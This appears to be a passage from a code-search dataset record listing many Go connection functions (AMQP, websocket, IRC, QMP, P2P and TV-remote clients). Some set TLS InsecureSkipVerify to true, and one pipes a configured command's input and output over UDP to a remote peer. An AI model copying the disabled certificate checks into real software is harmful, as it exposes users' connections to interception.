s.addr)\n\t\tif err != nil {\n\t\t\tlog.Print(err)\n\t\t\ttime.Sleep(baseGap)\n\t\t\tbaseGap *= 2\n\t\t\tif baseGap > time.Second*30 {\n\t\t\t\tbaseGap = time.Second * 30\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tdebugInfo(fmt.Sprintf(\"local addr:%s\\n\", conn.LocalAddr()))\n\t\treturn conn\n\t}\n}","func (r *RabbitMQ) Connect() (err error) {\n\tr.conn, err = amqp.Dial(Conf.AMQPUrl)\n\tif err != nil {\n\t\tlog.Info(\"[amqp] connect error: %s\\n\", err)\n\t\treturn err\n\t}\n\tr.channel, err = r.conn.Channel()\n\tif err != nil {\n\t\tlog.Info(\"[amqp] get channel error: %s\\n\", err)\n\t\treturn err\n\t}\n\tr.done = make(chan error)\n\treturn nil\n}","func (h *Hub) Connect() *Conn {\n\tr := &Conn{\n\t\tparent: h,\n\t\tvalueQ: make(chan Value, 16),\n\t}\n\n\tr.Value = r.valueQ\n\treturn r\n}","func (conn *Connection) PushToLobby() {\n\tif conn.done() {\n\t\treturn\n\t}\n\tconn.wGroup.Add(1)\n\tdefer func() {\n\t\tconn.wGroup.Done()\n\t}()\n\n\tconn.setRoom(nil)\n\tconn.setBoth(false)\n}","func (conn *Conn) Connect() error {\n\tu := url.URL{Scheme: \"wss\", Host: IP}\n\tsocket, _, err := websocket.DefaultDialer.Dial(u.String(), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif conn.length < 1 {\n\t\tconn.length = 50\n\t}\n\tif conn.generator == nil {\n\t\tconn.generator = nonce.WichmannHill\n\t}\n\tconn.socket = socket\n\tconn.done = make(chan bool)\n\tconn.isConnected = true\n\tgo conn.reader()\n\tgo conn.ticker()\n\tif conn.topics != nil {\n\t\tvar wg sync.WaitGroup\n\t\tconn.listeners.Lock()\n\t\trejoined := make(map[string][]string)\n\t\tfor token, topics := range conn.topics {\n\t\t\twg.Add(1)\n\t\t\tgo func(token string, topics ...string) {\n\t\t\t\tif err := conn.ListenWithAuth(token, topics...); err == nil {\n\t\t\t\t\trejoined[token] = topics\n\t\t\t\t}\n\t\t\t\twg.Done()\n\t\t\t}(token, topics...)\n\t\t}\n\t\tconn.listeners.Unlock()\n\t\twg.Wait()\n\t\tconn.listeners.Lock()\n\t\tdefer conn.listeners.Unlock()\n\t\tconn.topics = rejoined\n\t}\n\treturn nil\n}"],"string":"[\n \"func ConnectToRoom(token string, info chan<- ServerMessage) {\\n\\tstatus := \\\"\\\"\\n\\n\\tconn, err := net.Dial(connType, host+\\\":\\\"+port)\\n\\tif err != nil {\\n\\t\\tinfo <- ServerMessage{nil, false, \\\"\\\", \\\"error when connecting\\\"}\\n\\t\\treturn\\n\\t}\\n\\tfmt.Fprintf(conn, \\\"connect\\\\n\\\")\\n\\tfmt.Fprintf(conn, \\\"%s\\\\n\\\", token)\\n\\tvar msg string\\n\\tfmt.Fscan(conn, &msg)\\n\\tvar isSecond bool\\n\\tif msg == \\\"second\\\" {\\n\\t\\tisSecond = true\\n\\t} else if msg == \\\"first\\\" {\\n\\t\\tisSecond = false\\n\\t} else if msg == \\\"wrong_token\\\" {\\n\\t\\tstatus = msg\\n\\t}\\n\\tinfo <- ServerMessage{conn, isSecond, \\\"\\\", status}\\n}\",\n \"func (mon *SocketMonitor) Connect() error {\\n\\tenc := json.NewEncoder(mon.c)\\n\\tdec := json.NewDecoder(mon.c)\\n\\n\\t// Check for banner on startup\\n\\tvar ban banner\\n\\tif err := dec.Decode(&ban); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tmon.Version = &ban.QMP.Version\\n\\tmon.Capabilities = ban.QMP.Capabilities\\n\\n\\t// Issue capabilities handshake\\n\\tcmd := Command{Execute: qmpCapabilities}\\n\\tif err := enc.Encode(cmd); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Check for no error on return\\n\\tvar r response\\n\\tif err := dec.Decode(&r); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err := r.Err(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Initialize socket listener for command responses and asynchronous\\n\\t// events\\n\\tevents := make(chan Event)\\n\\tstream := make(chan streamResponse)\\n\\tgo mon.listen(mon.c, events, stream)\\n\\n\\tmon.events = events\\n\\tmon.stream = stream\\n\\n\\treturn nil\\n}\",\n \"func (bili *BiliClient) Connect(rid int) error {\\n\\troomID, err := getRealRoomID(rid)\\n\\tif err != nil {\\n\\t\\tlog.Println(\\\"client Connect \\\" + err.Error())\\n\\t\\treturn errors.New(\\\"无法获取房间真实ID: \\\" + err.Error())\\n\\t}\\n\\n\\tu := url.URL{Scheme: \\\"ws\\\", Host: serverAddr, Path: \\\"/sub\\\"}\\n\\n\\tif bili.serverConn, _, err = websocket.DefaultDialer.Dial(u.String(), nil); err != nil {\\n\\t\\tlog.Println(\\\"client Connect \\\" + err.Error())\\n\\t\\treturn errors.New(\\\"Cannot dail websocket: \\\" + err.Error())\\n\\t}\\n\\tbili.roomID = roomID\\n\\n\\tif err := bili.sendJoinChannel(roomID); err != nil {\\n\\t\\treturn errors.New(\\\"Cannot send join channel: \\\" + err.Error())\\n\\t}\\n\\tbili.setConnect(true)\\n\\n\\tgo bili.heartbeatLoop()\\n\\tgo bili.receiveMessages()\\n\\treturn nil\\n}\",\n \"func (ch *InternalChannel) Connect(c *Client) {}\",\n \"func (ch *ServerChannel) Connect(c *Client) {}\",\n \"func OnConnect(c websocket.Connection) {\\n\\t//Join 线程隔离\\n\\tfmt.Println(c.Context().String())\\n\\n\\tfmt.Println(c.Context().GetHeader(\\\"Connection\\\"))\\n\\tfmt.Println(c.Context().GetHeader(\\\"Sec-Websocket-Key\\\"))\\n\\tfmt.Println(c.Context().GetHeader(\\\"Sec-Websocket-Version\\\"))\\n\\tfmt.Println(c.Context().GetHeader(\\\"Upgrade\\\"))\\n\\n\\t//Join将此连接注册到房间,如果它不存在则会创建一个新房间。一个房间可以有一个或多个连接。一个连接可以连接到许多房间。所有连接都自动连接到由“ID”指定的房间。\\n\\tc.Join(\\\"room1\\\")\\n\\t// Leave从房间中删除此连接条目//如果连接实际上已离开特定房间,则返回true。\\n\\tdefer c.Leave(\\\"room1\\\")\\n\\n\\t//获取路径中的query数据\\n\\tfmt.Println(\\\"namespace:\\\",c.Context().FormValue(\\\"namespace\\\"))\\n\\tfmt.Println(\\\"nam:\\\",c.Context().FormValue(\\\"name\\\"))\\n\\n\\t//收到消息的事件。bytes=收到客户端发送的消息\\n\\tc.OnMessage(func(bytes []byte) {\\n\\t\\tfmt.Println(\\\"client:\\\",string(bytes))\\n\\n\\t\\t//循环向连接的客户端发送数据\\n\\t\\tvar i int\\n\\t\\tfor {\\n\\t\\t\\ti++\\n\\t\\t\\tc.EmitMessage([]byte(fmt.Sprintf(\\\"=============%d==========\\\",i))) // ok works too\\n\\t\\t\\ttime.Sleep(time.Second)\\n\\t\\t}\\n\\t})\\n}\",\n \"func connect() net.Conn {\\n\\t//connection, err := net.Dial(\\\"unix\\\", \\\"/var/www/bot/irc/sock\\\")\\n\\tconnection, err := net.Dial(\\\"tcp\\\", \\\"localhost:8765\\\")\\n\\n\\t//\\tsendCommand(connection, \\\"PASS\\\", password)\\n\\t//\\tsendCommand(connection, \\\"USER\\\", fmt.Sprintf(\\\"%s 8 * :%s\\\\r\\\\n\\\", nickname, nickname))\\n\\t//\\tsendCommand(connection, \\\"NICK\\\", nickname)\\n\\t//\\tfmt.Println(\\\"Registration sent\\\")\\n\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tjoinChannels(connection)\\n\\n\\treturn connection\\n}\",\n \"func (c *CommunicationClient) Connect() error{\\r\\n\\r\\n if c.conn != nil{\\r\\n if c.conn.IsClosed() {\\r\\n conn, err := amqp.Dial(c.host)\\r\\n\\r\\n if err != nil {\\r\\n return err\\r\\n }\\r\\n\\r\\n ch, err := conn.Channel()\\r\\n\\r\\n if err != nil {\\r\\n return err\\r\\n }\\r\\n\\r\\n c.conn = conn\\r\\n c.ch = ch\\r\\n\\r\\n return nil\\r\\n }else{\\r\\n\\r\\n ch, err := c.conn.Channel()\\r\\n\\r\\n if err != nil {\\r\\n return err\\r\\n }\\r\\n\\r\\n c.ch = ch\\r\\n\\r\\n return nil\\r\\n }\\r\\n }else{\\r\\n conn, err := amqp.Dial(c.host)\\r\\n\\r\\n if err != nil {\\r\\n return err\\r\\n }\\r\\n\\r\\n ch, err := conn.Channel()\\r\\n\\r\\n if err != nil {\\r\\n return err\\r\\n }\\r\\n\\r\\n c.conn = conn\\r\\n c.ch = ch\\r\\n\\r\\n return nil\\r\\n }\\r\\n\\r\\n\\r\\n}\",\n \"func Connect(peer *Peer) {\\n conn, or := net.Dial(\\\"tcp\\\", peer.Addr)\\n m := maddr // TODO: Set a proper message here\\n\\n if !e.Rr(or, false) {\\n handshake(conn, peer.PublicKey, m)\\n fmt.Println(\\\"Successfully connected to peer: \\\" + conn.RemoteAddr().String())\\n // This is how we distinguish between if they have contacted us or not\\n // Once we have connected to them, we can send them messages (they might ignore us though)\\n if peer.Status == \\\"authrec\\\" {\\n peer.Status = \\\"authenticated\\\"\\n } else {\\n peer.Status = \\\"authsent\\\"\\n }\\n peer.Conn = conn\\n }\\n}\",\n \"func (this *Client) handleConnect(addr string) {\\n\\tclient_addr, err := net.ResolveUDPAddr(\\\"udp\\\", addr)\\n\\tif err != nil {\\n\\t\\tlog.Println(err)\\n\\t\\treturn\\n\\t}\\n\\tserver_addr, _ := net.ResolveUDPAddr(\\\"udp\\\", config.Cfg.Client.UdpAddress)\\n\\tconn, err := net.ListenUDP(\\\"udp\\\", nil)\\n\\tif err != nil {\\n\\t\\tlog.Println(err)\\n\\t\\treturn\\n\\t}\\n\\tdefer conn.Close()\\n\\t// tell B client your remote address by send your id to server\\n\\tn, err := conn.WriteTo([]byte(this.id), server_addr)\\n\\tif err != nil {\\n\\t\\tlog.Println(n, err)\\n\\t\\treturn\\n\\t}\\n\\tss := strings.Fields(config.Cfg.Client.Command)\\n\\tcmd := exec.Command(ss[0], ss[1:]...)\\n\\tstdin, _ := cmd.StdinPipe()\\n\\tstdout, _ := cmd.StdoutPipe()\\n\\tstderr, _ := cmd.StderrPipe()\\n\\terr = cmd.Start()\\n\\tif err != nil {\\n\\t\\tlog.Println(err)\\n\\t\\treturn\\n\\t}\\n\\twr := NewIoUDP(conn, client_addr)\\n\\tWaitAny(func(c chan bool) {\\n\\t\\tForwardUDP(wr, stdin, time.Duration(config.Cfg.Client.ReadTimeOut)*time.Second)\\n\\t\\tc <- true\\n\\t}, func(c chan bool) {\\n\\t\\tForward(stdout, wr)\\n\\t\\tc <- true\\n\\t}, func(c chan bool) {\\n\\t\\tForward(stderr, wr)\\n\\t\\tc <- true\\n\\t})\\n\\tcmd.Process.Kill()\\n\\tlog.Println(addr, \\\"disconnect\\\")\\n}\",\n \"func (tc TwitchChat) Connect() string {\\n\\ttcURL := \\\"ws://irc-ws.chat.twitch.tv:80\\\"\\n\\tc, _, err := websocket.DefaultDialer.Dial(tcURL, nil)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tauth := make(chan isAuth)\\n\\tgo tc.run(c)\\n\\tgo func() {\\n\\t\\ttc.send <- fmt.Sprintf(\\\"PASS oauth:%s\\\", tc.OAuth)\\n\\t\\ttc.send <- fmt.Sprintf(\\\"NICK %s\\\", tc.Username)\\n\\t\\tfor {\\n\\t\\t\\t_, msg, err := c.ReadMessage()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\traw := string(msg[:])\\n\\t\\t\\tircMsg := irc.ParseMessage(raw)\\n\\t\\t\\t// fmt.Println(ircMsg.Params)\\n\\t\\t\\tswitch ircMsg.Command {\\n\\t\\t\\tcase \\\"001\\\":\\n\\t\\t\\t\\tfmt.Println(\\\"succ\\\")\\n\\t\\t\\t\\tpair := isAuth{\\n\\t\\t\\t\\t\\trawMsg: raw,\\n\\t\\t\\t\\t\\tsucc: true,\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tauth <- pair\\n\\t\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"NOTICE\\\":\\n\\t\\t\\t\\trawUnder := strings.ToLower(raw)\\n\\t\\t\\t\\tisFail := strings.Contains(rawUnder, \\\"failed\\\")\\n\\t\\t\\t\\tif isFail == true {\\n\\t\\t\\t\\t\\tauth <- isAuth{\\n\\t\\t\\t\\t\\t\\trawMsg: raw,\\n\\t\\t\\t\\t\\t\\tsucc: false,\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tbreak\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tname := ircMsg.Params[0]\\n\\t\\t\\t\\t\\tif channel, ok := tc.channels[name]; ok {\\n\\t\\t\\t\\t\\t\\terr := channel.HandleMsg(ircMsg.Command, ircMsg)\\n\\t\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\t\\tfmt.Println(err)\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}()\\n\\n\\tsucc := <-auth\\n\\tif succ.succ == true {\\n\\t\\treturn succ.rawMsg\\n\\t}\\n\\tpanic(succ.rawMsg)\\n}\",\n \"func (rhost *rhostData) cmdConnect(rec *receiveData) {\\n\\n\\t// Parse cmd connect data\\n\\tpeer, addr, port, err := rhost.cmdConnectData(rec)\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\t// Does not process this command if peer already connected\\n\\tif _, ok := rhost.teo.arp.find(peer); ok {\\n\\t\\tteolog.DebugVv(MODULE, \\\"peer\\\", peer, \\\"already connected, suggests address\\\",\\n\\t\\t\\taddr, \\\"port\\\", port)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Does not create connection if connection with this address an port\\n\\t// already exists\\n\\tif _, ok := rhost.teo.arp.find(addr, int(port), 0); ok {\\n\\t\\tteolog.DebugVv(MODULE, \\\"connection\\\", addr, int(port), 0, \\\"already exsists\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tgo func() {\\n\\t\\trhost.teo.wg.Add(1)\\n\\t\\tdefer rhost.teo.wg.Done()\\n\\t\\t// Create new connection\\n\\t\\ttcd := rhost.teo.td.ConnectChannel(addr, int(port), 0)\\n\\n\\t\\t// Replay to address received in command data\\n\\t\\trhost.teo.sendToTcd(tcd, CmdNone, []byte{0})\\n\\n\\t\\t// Disconnect this connection if it does not added to peers arp table during timeout\\n\\t\\t//go func(tcd *trudp.ChannelData) {\\n\\t\\ttime.Sleep(1500 * time.Millisecond)\\n\\t\\tif !rhost.running {\\n\\t\\t\\tteolog.DebugVv(MODULE, \\\"channel discovery task finished...\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tif _, ok := rhost.teo.arp.find(tcd); !ok {\\n\\t\\t\\tteolog.DebugVv(MODULE, \\\"connection\\\", addr, int(port), 0,\\n\\t\\t\\t\\t\\\"with peer does not established during timeout\\\")\\n\\t\\t\\ttcd.Close()\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}()\\n}\",\n \"func (c *Controller) Connect(addr string) error {\\n\\tpeers, err := c.cHandler.Dial(addr)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor _, peer := range peers {\\n\\t\\tc.chatroom.AddPeer(peer)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *SDKActor) Connect(address string) string {\\n resultChan := make(chan string, 0)\\n c.actions <- func() {\\n fmt.Printf(\\\"Can open connection to %s\\\", address)\\n\\n result := c.execute(address)\\n\\n resultChan <- result\\n }\\n return <-resultChan\\n}\",\n \"func (conn *Conn) Join(channel string) { conn.Raw(JOIN + \\\" \\\" + channel) }\",\n \"func (c *Conn) joinChennel() {\\n\\ttime.Sleep(time.Second * 2)\\n\\tc.SendMsg(c.joinMsg)\\n}\",\n \"func (c *Config) connect() {\\n\\tc.emitEvent(Event{Type: EventConnected})\\n}\",\n \"func (ch *Channel) Connect(c *Client) {\\n ch.Clients.Store(c.Id, c)\\n}\",\n \"func (l *Logic) Connect(c context.Context, server, cookie string, token []byte) (mid int64, sn, roomID string, accepts []int32, hb int64, err error) {\\n\\tvar params model.AuthToken\\n\\tif err = json.Unmarshal(token, &params); err != nil {\\n\\t\\tlog.Errorf(\\\"json.Unmarshal(%s) error(%v)\\\", token, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tdevice, err := l.dao.DeviceAuthOnline(&params)\\n\\tif err != nil {\\n\\t\\tlog.Errorf(\\\"l.dao.DeviceAuthOnline(%vparams) error(%v)\\\", params, err)\\n\\t\\treturn\\n\\t}\\n\\tmid = int64(device.ID)\\n\\troomID = \\\"\\\"\\n\\thb = int64(l.c.Node.Heartbeat) * int64(l.c.Node.HeartbeatMax)\\n\\tsn = device.Sn\\n\\tif err = l.dao.AddMapping(c, mid, sn, server); err != nil {\\n\\t\\tlog.Errorf(\\\"l.dao.AddMapping(%d,%s,%s) error(%v)\\\", mid, sn, server, err)\\n\\t}\\n\\tlog.Infof(\\\"conn connected sn:%s server:%s mid:%d token:%s roomID:%s\\\", sn, server, mid, token, roomID)\\n\\treturn\\n}\",\n \"func (i *IRC) Connect(genesisID BlockID, port int, addrChan chan<- string) error {\\n\\tnick, err := generateRandomNick()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tnumReg, err := regexp.Compile(\\\"[^0-9]+\\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ti.conn = irc.IRC(nick, strconv.Itoa(port))\\n\\ti.conn.UseTLS = true\\n\\ti.conn.TLSConfig = &tls.Config{InsecureSkipVerify: true}\\n\\n\\tvar channel string\\n\\ti.conn.AddCallback(\\\"001\\\", func(e *irc.Event) {\\n\\t\\tn := mrand.Intn(10)\\n\\t\\tchannel = generateChannelName(genesisID, n)\\n\\t\\tlog.Printf(\\\"Joining channel %s\\\\n\\\", channel)\\n\\t\\ti.conn.Join(channel)\\n\\t})\\n\\ti.conn.AddCallback(\\\"366\\\", func(e *irc.Event) {\\n\\t\\tlog.Printf(\\\"Joined channel %s\\\\n\\\", channel)\\n\\t\\ti.conn.Who(channel)\\n\\t})\\n\\ti.conn.AddCallback(\\\"352\\\", func(e *irc.Event) {\\n\\t\\tif e.Arguments[5] == nick {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tport := numReg.ReplaceAllString(e.Arguments[2], \\\"\\\")\\n\\t\\thost := e.Arguments[3]\\n\\t\\tif len(port) != 0 && port != \\\"0\\\" {\\n\\t\\t\\tpeer := host + \\\":\\\" + port\\n\\t\\t\\taddrChan <- peer\\n\\t\\t}\\n\\t})\\n\\ti.conn.AddCallback(\\\"JOIN\\\", func(e *irc.Event) {\\n\\t\\tif e.Nick == nick {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tport := numReg.ReplaceAllString(e.User, \\\"\\\")\\n\\t\\thost := e.Host\\n\\t\\tif len(port) != 0 && port != \\\"0\\\" {\\n\\t\\t\\tpeer := host + \\\":\\\" + port\\n\\t\\t\\taddrChan <- peer\\n\\t\\t}\\n\\t})\\n\\n\\treturn i.conn.Connect(Server)\\n}\",\n \"func (ws *WS) Connect(send, receive chan *RawMessage, stop chan bool) error {\\n\\turl, err := ws.getWebsocketURL(false)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tlog.Println(\\\"ws Connect:\\\", url)\\n\\n\\tconn, _, err := websocket.DefaultDialer.Dial(url, http.Header{\\n\\t\\t// Origin is important, it won't connect otherwise\\n\\t\\t\\\"Origin\\\": {\\\"https://6obcy.org\\\"},\\n\\t\\t// User-Agent can be ommited, but we want to look legit\\n\\t\\t\\\"User-Agent\\\": {\\\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36\\\"},\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer conn.Close()\\n\\n\\tdoneCh := make(chan bool)\\n\\tsetupCh := make(chan *setupMessage)\\n\\n\\t// start recv goroutine\\n\\tgo func() {\\n\\t\\tinitialized := false\\n\\t\\tdefer close(doneCh)\\n\\t\\tfor {\\n\\t\\t\\tmsgType, msgBytes, err := conn.ReadMessage()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Println(\\\"Failed to read:\\\", err)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\tprefix, msg := rawToTypeAndJSON(msgBytes)\\n\\t\\t\\tif !initialized {\\n\\t\\t\\t\\tif prefix == setup {\\n\\t\\t\\t\\t\\tsm := &setupMessage{}\\n\\t\\t\\t\\t\\terr := json.Unmarshal([]byte(msg), sm)\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\tlog.Fatalf(\\\"Failed to parse setup message %s %s\\\\n\\\", err, msg)\\n\\t\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tsetupCh <- sm\\n\\t\\t\\t\\t\\tinitialized = true\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif prefix == pong {\\n\\t\\t\\t\\tif ws.Debug {\\n\\t\\t\\t\\t\\tfmt.Println(\\\"pong\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\n\\t\\t\\tif ws.Debug {\\n\\t\\t\\t\\tfmt.Println(\\\"ws ->:\\\", string(msgBytes))\\n\\t\\t\\t}\\n\\n\\t\\t\\treceive <- &RawMessage{\\n\\t\\t\\t\\tType: msgType,\\n\\t\\t\\t\\tPayload: msgBytes,\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}()\\n\\n\\t// start send goroutine\\n\\tgo func() {\\n\\t\\tfor {\\n\\t\\t\\trm := <-send\\n\\n\\t\\t\\tif rm == nil {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tif ws.Debug {\\n\\t\\t\\t\\tfmt.Println(\\\"ws <-:\\\", string(rm.Payload))\\n\\t\\t\\t}\\n\\n\\t\\t\\terr := conn.WriteMessage(rm.Type, rm.Payload)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Println(\\\"Failed to write:\\\", err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}()\\n\\n\\tvar setupMsg *setupMessage\\n\\n\\tselect {\\n\\tcase sm := <-setupCh:\\n\\t\\tsetupMsg = sm\\n\\tcase <-time.After(5 * time.Second):\\n\\t\\tlog.Println(\\\"Waited 5 seconds for setup message\\\")\\n\\t}\\n\\n\\t// create a ticker and take care of sending pings\\n\\tticker := time.NewTicker(time.Millisecond * time.Duration(setupMsg.PingInterval))\\n\\tdefer ticker.Stop()\\n\\n\\t// start main ws goroutine\\n\\tfor {\\n\\t\\tselect {\\n\\t\\tcase <-ticker.C:\\n\\t\\t\\tif ws.Debug {\\n\\t\\t\\t\\tfmt.Println(\\\"ping\\\")\\n\\t\\t\\t}\\n\\t\\t\\terr := conn.WriteMessage(websocket.TextMessage, []byte(fmt.Sprintf(\\\"%d\\\", ping)))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Println(\\\"Failed to ping\\\", err)\\n\\t\\t\\t}\\n\\t\\tcase <-stop:\\n\\t\\t\\terr := conn.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, \\\"\\\"))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Println(\\\"write close:\\\", err)\\n\\t\\t\\t}\\n\\t\\t\\tselect {\\n\\t\\t\\tcase <-doneCh:\\n\\t\\t\\tcase <-time.After(time.Second):\\n\\t\\t\\t}\\n\\t\\t\\tstop <- true\\n\\t\\t\\treturn nil\\n\\t\\tcase <-doneCh:\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n}\",\n \"func (s *Stream) Connect() {\\n\\turl := &url.URL{\\n\\t\\tScheme: \\\"https\\\",\\n\\t\\tHost: \\\"streaming.campfirenow.com\\\",\\n\\t\\tPath: fmt.Sprintf(\\\"/room/%d/live.json\\\", s.room.ID),\\n\\t}\\n\\n\\ts.base = httpie.NewStream(\\n\\t\\thttpie.Get{url},\\n\\t\\thttpie.BasicAuth{s.room.Connection.Token, \\\"X\\\"},\\n\\t\\thttpie.CarriageReturn,\\n\\t)\\n\\n\\tgo s.base.Connect()\\n\\n\\tfor {\\n\\t\\tselect {\\n\\t\\tcase <-s.stop:\\n\\t\\t\\tclose(s.outgoing)\\n\\t\\t\\treturn\\n\\t\\tcase data := <-s.base.Data():\\n\\t\\t\\tvar m Message\\n\\t\\t\\terr := json.Unmarshal(data, &m)\\n\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\n\\t\\t\\tm.Connection = s.room.Connection\\n\\t\\t\\ts.outgoing <- &m\\n\\t\\t}\\n\\t}\\n}\",\n \"func doConnected(conn *websocket.Conn) (string, error) {\\n\\tvar userId string\\n\\tvar err error\\n\\tif userId, err = validConn(conn); err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// add websocket connection\\n\\tCManager.Connected(userId, conn)\\n\\n\\ttimestamp := Timestamp()\\n\\tvar msg = &Message{\\n\\t\\tMessageType: OnlineNotify,\\n\\t\\tMediaType: Text,\\n\\t\\tFrom: userId,\\n\\t\\tCreateAt: timestamp,\\n\\t\\tUpdateAt: timestamp,\\n\\t}\\n\\tCManager.Broadcast(conn, msg)\\n\\n\\t// add to last message store\\n\\tLastMessage.Add(msg)\\n\\n\\t// send recent message\\n\\terr = LastMessage.Foreach(func(msg *Message) {\\n\\t\\tif err := websocket.JSON.Send(conn, msg); err != nil {\\n\\t\\t\\tfmt.Println(\\\"Send msg error: \\\", err)\\n\\t\\t}\\n\\t})\\n\\tif err != nil {\\n\\t\\tfmt.Println(\\\"send recent message error: \\\", err)\\n\\t}\\n\\n\\treturn userId, nil\\n}\",\n \"func (s *Realm) OnConnect(c *connection.Connection) {\\r\\n\\tslog.Printf(\\\"New Connection from: %s\\\\n\\\", c.PeerAddr())\\r\\n\\r\\n\\tsess := &RealmSession{\\r\\n\\t\\tConn: c,\\r\\n\\t\\tStartTime: time.Now(),\\r\\n\\t}\\r\\n\\r\\n\\ts.mtx.Lock()\\r\\n\\te := s.conns.PushBack(sess)\\r\\n\\ts.mtx.Unlock()\\r\\n\\tc.SetContext(e)\\r\\n\\r\\n\\tc.Send([]byte(\\\"fvpvTbKVC\\\\\\\\WnpqQvh_xdY\\\\\\\\\\\\\\\\\\\"))\\r\\n}\",\n \"func (s *service) connect() {\\n\\tif s.destroyed {\\n\\t\\ts.logger.Warnf(\\\"connect already destroyed\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\taddr := fmt.Sprintf(\\\"%s:%d\\\", s.Host, s.Port)\\n\\n\\ts.logger.Infof(\\\"start %s %s\\\", s.Name, addr)\\n\\n\\ts.Connecting = true\\n\\tconn, err := net.Dial(\\\"tcp\\\", addr)\\n\\tfor err != nil {\\n\\t\\tif s.destroyed {\\n\\t\\t\\ts.logger.Warnf(\\\"dial already destroyed\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tif s.restarted {\\n\\t\\t\\ts.logger.WithError(err).Warnf(\\\"dial %v\\\", err)\\n\\t\\t} else {\\n\\t\\t\\ts.logger.WithError(err).Errorf(\\\"dial %v\\\", err)\\n\\t\\t}\\n\\t\\ttime.Sleep(time.Duration(1) * time.Second)\\n\\t\\tconn, err = net.Dial(\\\"tcp\\\", addr)\\n\\t}\\n\\ts.conn = conn\\n\\ts.restarted = false\\n\\ts.Connecting = false\\n\\ts.logger.Infof(\\\"connected %s %s\\\", s.Name, addr)\\n\\n\\tquit := make(chan struct{})\\n\\ts.Send = s.makeSendFun(conn)\\n\\tmsg := types.Message{\\n\\t\\tRouterHeader: constants.RouterHeader.Connect,\\n\\t\\tUserID: s.RouterID,\\n\\t\\tPayloadURI: types.PayloadURI(s.Caller),\\n\\t}\\n\\ts.Send(msg)\\n\\tgo common.WithRecover(func() { s.readPump(conn, quit) }, \\\"read-pump\\\")\\n\\ts.startHB(conn, quit)\\n}\",\n \"func (c *Notification2Client) connect() error {\\n\\tif c.dialer == nil {\\n\\t\\tpanic(\\\"Missing dialer for realtime client\\\")\\n\\t}\\n\\tws, err := c.createWebsocket()\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tc.mtx.Lock()\\n\\tdefer c.mtx.Unlock()\\n\\n\\tc.ws = ws\\n\\tif c.tomb == nil {\\n\\t\\tc.tomb = &tomb.Tomb{}\\n\\t\\tc.tomb.Go(c.worker)\\n\\t}\\n\\tc.connected = true\\n\\n\\treturn nil\\n}\",\n \"func connect() (*websocket.Conn, error) {\\n\\thost := fmt.Sprintf(\\\"%s:%s\\\", configuration.TV.Host, *configuration.TV.Port)\\n\\tpath := \\\"/api/v2/channels/samsung.remote.control\\\"\\n\\tquery := fmt.Sprintf(\\\"name=%s\\\", base64.StdEncoding.EncodeToString([]byte(configuration.Controller.Name)))\\n\\tu := url.URL{Scheme: *configuration.TV.Protocol, Host: host, Path: path, RawQuery: query}\\n\\n\\tlog.Infof(\\\"Opening connection to %s ...\\\", u.String())\\n\\n\\twebsocket.DefaultDialer.TLSClientConfig = &tls.Config{InsecureSkipVerify: 